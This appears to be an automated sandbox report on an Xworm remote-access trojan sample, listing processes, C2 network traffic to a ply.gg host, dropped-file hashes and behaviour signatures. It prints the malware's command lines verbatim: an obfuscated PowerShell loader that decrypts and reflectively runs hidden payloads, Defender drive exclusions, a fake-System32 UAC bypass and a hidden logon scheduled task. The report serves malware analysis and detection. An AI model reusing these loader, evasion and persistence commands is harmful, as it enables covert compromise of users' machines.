C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | software-led.gl.at.ply.gg | udp |
| US | 147.185.221.19:38954 | software-led.gl.at.ply.gg | tcp |
| US | 52.111.229.19:443 | tcp | |
| US | 8.8.8.8:53 | 133.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 203.107.17.2.in-addr.arpa | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
Files
memory/2024-0-0x00007FFD03473000-0x00007FFD03475000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0iwgwoss.1ih.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2024-9-0x00000204E5D80000-0x00000204E5DA2000-memory.dmp
memory/2024-10-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp
memory/2024-11-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp
memory/2024-12-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp
memory/2024-13-0x00000204E5E40000-0x00000204E5E86000-memory.dmp
memory/2024-14-0x00000204E5E20000-0x00000204E5E30000-memory.dmp
memory/2024-15-0x00007FFD242C0000-0x00007FFD244C9000-memory.dmp
memory/2024-16-0x00007FFD221E0000-0x00007FFD2229D000-memory.dmp
memory/2024-17-0x00000204E5E90000-0x00000204E5ED8000-memory.dmp
memory/2024-18-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp
C:\Windows \System32\ComputerDefaults.exe
| MD5 | 640693107ee411d8e862ab115d7b4639 |
| SHA1 | 497435f5727c5bfe31331ba245e9b7b95dc69d2a |
| SHA256 | a2794be7cb7a4ad2f526fe91ca95a36b2ec1648b288088eaa4809402c7b2c6f4 |
| SHA512 | 3a554fe1d8d23f06ac86bb078b3e5b4815722adbacbf9492b5b7ad27bf27d44dd948387268dedc2943afc3557ef234e8882475c813cc5f5f4ab566e52bbb03db |
C:\Windows \System32\MLANG.dll
| MD5 | 0b62c554572e9d2dfc51b6367c34700f |
| SHA1 | 1a41693552101c650aeeffe9dc9f1c7f7553dd7b |
| SHA256 | b05a80ef8ad197ee36620655100e1fd4111ec946a9f012970da4c61d8da43ded |
| SHA512 | 765e2f686a74804063b1face147a2dfd4cac85fb8273b5b0ccbd7606e46fce9865d5bbeeca40af31a8b584dc0bba1ebc0ff3fa8c1993da08a4b09cd15a394ce9 |
C:\Users\Admin\AppData\Local\Temp\SC.cmd
| MD5 | 121a69448e9f5eef0ba4c1229b471208 |
| SHA1 | 90abf42b20fb75a7f922b4a83cbeb77ca5dbf5d0 |
| SHA256 | b383a0ab3670e505ae0b7a7b6d68c096bb799ce858d8afc2e2ef5d1c1314051a |
| SHA512 | c9e903245c3ab434018e23e4c51bf9d4fcbdb9dc1b85114574c12a2ce5c3ec6cd811fa1b51a34c86c695c6ba79cade1cdc215c4953090a342ba4ff6c1a92bc3d |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 627073ee3ca9676911bee35548eff2b8 |
| SHA1 | 4c4b68c65e2cab9864b51167d710aa29ebdcff2e |
| SHA256 | 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c |
| SHA512 | 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb |
memory/1308-50-0x00007FFD221E0000-0x00007FFD2229D000-memory.dmp
memory/1308-49-0x00007FFD242C0000-0x00007FFD244C9000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 05b3cd21c1ec02f04caba773186ee8d0 |
| SHA1 | 39e790bfe10abf55b74dfb3603df8fcf6b5e6edb |
| SHA256 | 911efc5cf9cbeb697543eb3242f5297e1be46dd6603a390140a9ff031ed9e1e8 |
| SHA512 | e751008b032394817beb46937fd93a73be97254c2be94dd42f22fb1306d2715c653ece16fa96eab1a3e73811936768cea6b37888437086fc6f3e3e793a2515eb |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 3f6782e9efc05a9bf8b8dc803a5fcbc9 |
| SHA1 | f610eaa889a504cf1118ec63bcc504c4b797e8c6 |
| SHA256 | 774db181f85af841f045f785f8e253c72848fc4bd0fb867f67c5e8dcbb19064a |
| SHA512 | a404de6b21c032b4cad6569816c4e7d95a025191a4b4ce7d312bbd2bc71c868413e2b790433641714c1120c52712ae43c45cb7a9c9be59f18031c01a773ab4c3 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | cac573a462290244b2b6a5e59be3d7af |
| SHA1 | af4155257081736cb2b5da02e89704ce0db01f88 |
| SHA256 | f33fa49d650863e9528562852a5132959cfd65e712b92e6d41fa0fb001a1ea8d |
| SHA512 | dff59e487c5aa440b83a73955ae0788734889265a827cd29a5a5663d6448e289b79552a101df74f699d4500b04e1408a71c943f01360b799afa91a10e6c6a9a3 |
memory/3240-95-0x0000000003600000-0x000000000362A000-memory.dmp
memory/1308-103-0x00000277A2920000-0x00000277A292E000-memory.dmp
memory/3240-105-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/1180-104-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/2684-107-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/2256-106-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/980-108-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/1752-109-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/2728-110-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/2496-115-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/2736-116-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/2504-129-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/1128-130-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/1512-132-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/476-134-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/1060-133-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/1848-136-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/1908-137-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/3472-139-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/1096-140-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/1700-142-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/5052-138-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/1408-135-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/924-131-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
memory/1720-128-0x00007FFCE4350000-0x00007FFCE4360000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | ac01db7f808b9ff2c0381332c68fb054 |
| SHA1 | 86cd11778d3c8145dec0080b1097e9303221db2e |
| SHA256 | 62e9cbb314bd16bebf1f921f386df308449ab348016e1fd5b7aadf5fbecab147 |
| SHA512 | 1976639ef96e6881789833dc1a72c17c90ea217b2898d39dee9a8969c9e36366c683b192a1b019c41df54346090fc9b5d5aafffc447ded3719597277abf4c5a7 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 15165d19955d44e8fe95fb9c5fc9c663 |
| SHA1 | 97da5d3e1af856d77be4019b2a4f8d767a736dbe |
| SHA256 | a6b12a4d6b2d9a768706f9360398577a100921c18c96b082cd5b459d37f8f65a |
| SHA512 | 416cb5c4554ed33c3273397e98ba2ea19255dfb400fde1563207dbfcecc887b5df98e6105f4cb99c443389d80c3e1fe5dee2eac2d3d9471ca4675cbf81bdc9aa |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | e566632d8956997225be604d026c9b39 |
| SHA1 | 94a9aade75fffc63ed71404b630eca41d3ce130e |
| SHA256 | b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0 |
| SHA512 | f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd |
memory/2024-263-0x00007FFD03470000-0x00007FFD03F32000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
| MD5 | 0c069d56dc7560c3df8fa37068813d39 |
| SHA1 | 2f23050fed2e052dbac864efda9f716627d9539a |
| SHA256 | 87343e819b63d46f6f84d961fcc02f0e361846d033bf7069f53d790399c4d03c |
| SHA512 | 396e1501fc090548e809b29cc038543feab19c73decfbd65c2936372840395cf7c337793a6b6a3265a1b3a92ee2debd66644499b5df60bec4ed5c0d83fe3d028 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
| MD5 | 531a43ea5cedf94c30a07138d1f9465d |
| SHA1 | 59cf2f25405513b634766ea4007e11304a71e48b |
| SHA256 | c34336a9ef1fec7e4928191444c173925c873276b7c1a65034d8c2ad165f24b1 |
| SHA512 | a0c2abc794e1086b2b8992dbaabaff82a45e35c1f90125d9100c73bb22c38eb05846e7d356212359780c1bfaae32ffdcf83c0925a6adda7d9232b555fe6c4c3e |
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
| MD5 | 7a8fdb0a0475159faf1da3d66ade4809 |
| SHA1 | e903d62ca1c515a50589331acda684371f5960f8 |
| SHA256 | fc37bebd665f00ab541e78dc2e36630c72e864f3582d8c7b67739aaa521b59d0 |
| SHA512 | 961e3415fbe782f2ed19599cb7169248cb3a03a0f58c06984be0756d7c33f4222789656f31c9f9922c25ec521062d4e4f330a83f53ec7934a7ffe3306f206916 |
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
| MD5 | 2bdea30652a3687bfdc8f49d79d71ac2 |
| SHA1 | c9e1b1188ea5412a95703c7315bc8899ce7e083e |
| SHA256 | 6a10fd2e9e05d62d16dc49589d3686b26bb0bafc6ed233b84d04a4e8af626d59 |
| SHA512 | 89331ad9e46528862cd10a7a7e879b5e2ef4cb150fb9a7da3b5b42563b3a341ddaaa8aa5fa66fd573df58569ad2c46eaa3ca984d9d1a99b8c50f0cd3de34bdd4 |
C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
| MD5 | 1197d5b335e73a6996cf2d96aace8177 |
| SHA1 | 617a42eb6a26c39a5a5d4e739f7d85477f3c36b0 |
| SHA256 | 4d052a00ba6664a864653beafbb92f95f5f271f0548fa17e03d167e143035ae4 |
| SHA512 | 74175df0b21b89efbf437cee4a6c37f60f917583d80a7226365c910e9e52c328b2d8776bd9be4258a396b686746b96ed5b85e4855c9f45f15c7d619366d1b7d5 |
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-26 14:55
Reported
2024-05-26 15:28
Platform
win10-20240404-en
Max time kernel
1799s
Max time network
1793s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows \System32\ComputerDefaults.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | c:\windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83 | c:\windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A | c:\windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 | c:\windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 | c:\windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx | c:\windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 | c:\windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 | c:\windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 | c:\windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 | c:\windows\system32\svchost.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections | c:\windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad | C:\Windows\system32\svchost.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k rpcss
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat"
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
C:\Windows \System32\ComputerDefaults.exe
"C:\Windows \System32\ComputerDefaults.exe"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | software-led.gl.at.ply.gg | udp |
| US | 147.185.221.19:38954 | software-led.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 19.221.185.147.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 90.16.208.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
| NL | 52.142.223.178:80 | tcp | |
| US | 8.8.8.8:53 | 164.189.21.2.in-addr.arpa | udp |
Files
memory/2764-4-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
memory/2764-6-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
memory/2764-5-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
memory/2764-9-0x000002524FF70000-0x000002524FF92000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ro4xt4a.1of.ps1
| MD5 | c4ca4238a0b923820dcc509a6f75849b |
| SHA1 | 356a192b7913b04c54574d18c28d46e6395428ab |
| SHA256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| SHA512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
memory/2764-36-0x0000025250040000-0x000002525007C000-memory.dmp
memory/2764-47-0x00000252687B0000-0x0000025268826000-memory.dmp
memory/2764-57-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
memory/2764-58-0x000002524FFF0000-0x0000025250000000-memory.dmp
memory/2764-60-0x00007FFBD0440000-0x00007FFBD04EE000-memory.dmp
memory/2764-59-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
memory/2764-61-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
memory/2764-62-0x00000252681E0000-0x0000025268228000-memory.dmp
memory/3056-71-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
memory/3056-72-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
memory/3056-73-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
memory/3056-113-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
C:\Windows \System32\ComputerDefaults.exe
| MD5 | 56d03e4218082266a9cdd8600537d891 |
| SHA1 | c153719f971dcee8f6985d7c79f64fc88dd8663c |
| SHA256 | 210d5714497505022aa068167f7ed5bb826abcf53cfe741c9860a2c8dce3f54a |
| SHA512 | f2c64a4dbab789635bf97b3d615fcc96dfe8c4094b67a464eb34bc84501eb7648e7fa692971e917c1ebfac0548187721ecc552aaad35767f8a40846d922613d3 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 8592ba100a78835a6b94d5949e13dfc1 |
| SHA1 | 63e901200ab9a57c7dd4c078d7f75dcd3b357020 |
| SHA256 | fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c |
| SHA512 | 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3 |
memory/2764-141-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
